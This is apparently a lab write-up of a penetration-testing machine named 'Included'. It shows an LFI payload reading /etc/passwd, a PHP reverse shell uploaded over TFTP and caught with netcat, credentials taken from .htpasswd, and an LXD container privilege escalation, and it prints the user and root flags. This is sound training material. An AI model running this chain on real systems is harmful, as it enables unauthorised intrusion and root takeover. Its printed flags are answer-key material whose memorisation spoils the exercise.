# Included

Enumeration is always the key when it comes to penetration testing - the better the enumeration, the better the chances of finding & exploiting vulnerabilities. Most of the times, you won't find the single vulnerability that will grant you access, instead, it will be the chain of misconfiguration that only if used together will let you inside. This machine teaches some more enumeration techniques, even on a different transport layer protocol, and it also teaches that every penetration tester sometimes needs to use Google to see how to perform certain tasks.

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Ftuv3etUvIho1AJq9HZEy%2FIncluded_Write_Up.pdf?alt=media&token=7dbf7dd5-40d8-4a7d-82c6-b9d607336eec" %}

## **TARGET IP -->** 10.129.95.185

## **HOST TUN0 IP --> 10.10.16.64**

### **Task 1:** What service is running on the target machine over UDP?

* I first started by trying to run a **Nmap** scan normally. This uncovered that port 80 was open for TCP traffic.

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FnywHpizK9BrCSbv3XRJ4%2Fimage.png?alt=media&#x26;token=0ae395f3-66b1-475b-8317-ec2f4eca2a10" alt=""><figcaption></figcaption></figure>

* Next, I tried running another **Nmap** scan utilizing the UDP flag to scan for open UDP ports.

```
sudo nmap -sU [Target IP]
```

* Looks like I didn't get anything and it took forever. Don't recommend it.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FYSAUpZJ64QwBwEmCV7We%2Fimage.png?alt=media&#x26;token=89544953-e963-48f1-9a8a-e89381155e51" alt=""><figcaption></figcaption></figure>

* It also looks like running this scan is killing my connection to the machine. Do not recommend doing this as I have had to reset the machine a few times.
* Checking the write-up for this machine shows that I was on the right track. However, I have run the UDP nmap scan a few times and it looks like all it does is kill the machine.&#x20;
  * I went ahead and took what it says that **Port 69** is running **TFTP** (Trivial File Transfer Protocol).
  * I can verify this by running a more targeted nmap scan of the known open port.

```
sudo nmap -sU -p 69 [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F9ee5tsn78ZVCRhw2B84z%2Fimage.png?alt=media&#x26;token=9fc5dd2f-7112-4f8f-861d-349e343bcd73" alt=""><figcaption></figcaption></figure>

### **Task 2:** What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

* Let's check out the webserver to see what else we can find.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F9QMIuLhlgfbQpKItA9mw%2Fimage.png?alt=media\&token=b5eb12f7-e454-4d5a-80e9-5e77031e87e1)

* I'll check out the source code to see what else I can find. I did not find anything relevant in the page source code.
* I checked out Wappalyzer and found the web server is run on Apache and utilizes PHP as the backend. This can be validated by the URL which shows a parameter **file=home.php**
* The way the URL is set up means there is the possibility to use the exploit Local File Inclusion (LFI). Based on the parameter field, it is calling forward the page **home.php** but that also means there is the possibility of calling other files.
* I'll try this out using the following URL code in the web browser. I could also use curl from our terminal to access it:

```
curl http://[Target IP]/?file=/etc/passwd 
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FXgovO2rpl2rdsuxJ13eE%2Fimage.png?alt=media&#x26;token=e017ab7e-9a9d-43af-9055-7379297b46a2" alt=""><figcaption></figcaption></figure>

```
http://[Target IP]/?file=/etc/passwd
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fpb1UY0aIckFbiu9yERc0%2Fimage.png?alt=media&#x26;token=9c5d78b5-9208-4962-98c8-ef738a437e93" alt=""><figcaption></figcaption></figure>

* It looks like this web server is vulnerable to LFI. If it was set up correctly, it would disallow accessing any files outside of the **/var/www/html** directory.
* This is allowed because the backend php code that queries the information just pulls the file information.

```
if ($_GET['file']) {
include($_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
```

* If for example, the code specified the directory already, then we would need to adjust our input accordingly.

```
if ($_GET['file']) {
include( __DIR__ . $_GET['file']);
} else {
header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
}
```

* In this code snippet you can see that a **\_\_DIR\_\_** directory is being attached automatically. This means that by plugging our previous file path into the URL would result in **/var/www/html/etc/passwd**, which does not exist.&#x20;
  * To bypass this, we would need to do something like **../../../etc/passwd** thus allowing us to move out of the current working directory.
* One thing to note is that it looks like there is a user on the system named **tftp** which we learned from the UDP scan is the service running on Port 69.

### **Task 3:** What is the default system folder that TFTP uses to store files?

* The directory is **/var/lib/tftpboot/**. A quick Google search gave me this information.
* I can also see this directory listed in the **/etc/passwd** file at the very end for the user **tftp**.

### **Task 4:** Which interesting file is located in the web server folder and can be used for Lateral Movement?

* Since we know TFTP is running on port 69 we can connect to it.

```
tftp -v [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FUS4jRvxtNS2uyMHNXF0B%2Fimage.png?alt=media&#x26;token=10b2135b-96be-4dd5-a83a-216985306dba" alt=""><figcaption></figcaption></figure>

* While logged into TFTP, I uploaded a reverse shell in php to the service.

```
put [File path on host machine] ./[Name of file]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FnEmMnBx3F4CxcFa6MhQY%2Fimage.png?alt=media&#x26;token=85b0362c-4909-4184-afdf-a530467c3cb6" alt=""><figcaption></figcaption></figure>

* Next is to start up a netcat listener on your host machine.

```
nc -lvnp 4444
```

* On a new terminal window on your host machine, curl the document. Based on **/etc/passwd** file and googling, we discovered that the typical directory for TFTP is **/var/lib/tftpboot**, we will assume that is where the reverse shell script was uploaded.

```
curl http://[Target IP]/?file=/var/lib/tftpboot/[Shell file name]
```

* After curling the file, it should hang up and you should now have a netcat listener with a shell.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FCWIG0uM1WYCz3u9kuT0y%2Fimage.png?alt=media&#x26;token=3261164c-92b5-4c95-949c-9a36829f89ee" alt=""><figcaption></figcaption></figure>

* The first thing I'm going to do is do some exploring.
* In the /var/www/html/ directory I have access to **.htpasswd** and .htaccess files.
  * I got the credentials for Mike:
    * **mike:Sheffield19**

### **Task 5:** What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

* The next step is to get an interactive shell with the following:

```
script /dev/null -c bash
```

* After that, run the command to switch to Mike

```
su mike
```

* Input Mike's password from above and you should now be logged into Mike's account.
* Run the following to see what groups the mike account is part of.

```
id
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F8T7huJRb5EQVYmjrnPn9%2Fimage.png?alt=media&#x26;token=5f07c224-3091-4dac-896b-92d7efa2b3d6" alt=""><figcaption></figcaption></figure>

* It looks like the account for mike is part of the **lxd** group.
* The GID `108` and the group name `lxd` have specific relevance in Linux systems that use LXD (Linux Containers).
  * LXD is a container hypervisor that allows users to create and manage lightweight Linux containers, which are similar to virtual machines but with lower overhead and better performance. When you install LXD on a Linux system, it creates a new group named `lxd` with GID `108` by default. Users who need to manage LXD containers or have privileged access to LXD-related resources are typically added to this group.
  * The fact that your user `mike` is a member of the `lxd` group with GID `108` indicates that your user has some level of access to LXD containers or resources on the system. This may be intentional if you are using LXD, or it may be the result of some default configuration if LXD is installed on your system but you are not actively using it.

### **Task 6:** When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

* We will be using a similar method to the one described in this article for exploiting LXD to escalate our privileges.
* [https://www.hackingarticles.in/lxd-privilege-escalation/](https://www.hackingarticles.in/lxd-privilege-escalation/)
* We will also use the following Hacktricks page to utilize this method.&#x20;
* As part of the escalation we will use the **Alpine** image which is a lightweight linux distribution.

### **Task 7:** What flag do we set to the container so that it has root privileges on the host system?

* We will first start by installing the Go programming language.

```
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
```

* Then we have to clone the [LXC Distribution Builder ](https://github.com/lxc/distrobuilder)and build it.

```
git clone https://github.com/lxc/distrobuilder
```

```
cd distrobuilder
```

```
make
```

* If the above **make** command produces errors and fails to build the distrobuilder binary, you can also install it via the **Snap** store, as follows:

```
sudo apt install snapd
```

```
sudo snap install distrobuilder --classic
```

* After the build is complete let's download the Alpine YAML file and build it.

```
mkdir -p $HOME/ContainerImages/alpine/
```

```
cd $HOME/ContainerImages/alpine/
```

```
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
```

```
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
```

* Once done, the **lxd.tar.xz** and **rootfs.squashfs** files should be located in the directory.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fl2009W9FM1TO7Akh76m9%2Fimage.png?alt=media&#x26;token=cbe49e52-060a-4b61-a38f-99537be719ec" alt=""><figcaption></figcaption></figure>

* We will now need to use a python web server to transfer these files to the target system.

```
python3 -m http.server 8000
```

* Then from the target system, we will download the files.

```
wget http://[HOST IP]:8000/lxd.tar.xz
```

```
wget http://[HOST IP]:8000/rootfs.squashfs
```

* The next step is to import the image using the LXC CLI

```
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
```

* To verify it was imported:

```
lxc image list
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F3tnD0RUDJTK1eHs7lRtL%2Fimage.png?alt=media&#x26;token=145c20d6-540b-46e9-9f6a-b91bdfcee659" alt=""><figcaption></figcaption></figure>

* The next step is to give the container all of the privileges of the root file system. We will also mount the root file system on the container in the **/mnt** directory.

```
lxc init alpine privesc -c security.privileged=true
```

```
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fu1iUyVFsl0kXmW8wMuTG%2Fimage.png?alt=media\&token=e5fe838b-4fc3-43d6-99c4-8fb4959b09d0)

* We should note that the flag to provide root privileges to the image is **security.privileged=true**.

### **Task 8:** If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

* We can now start the container and start a root shell inside it.

```
lxc start privesc
```

```
lxc exec privesc /bin/sh
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fz6bt2xLs9axuMXfEohPn%2Fimage.png?alt=media\&token=6c3db0e5-795e-4923-8219-3e6f73a36d34)

* To access the root flag we can navigate to the **/mnt/root/**&#x64;irectory.

### **Capture User Flag:**&#x20;

* While logged into Mike's account, cat the user.txt file with the following:

```
cat /home/mike/user.txt
```

* **a56ef91d70cfbf2cdb8f454c006935a1**

### **Capture Root Flag:**&#x20;

* The root flag can be found in **/root** directory.

```
cat /root/root.txt
```

* **c693d9c7499d9f572ee375d4c14c7bcf**
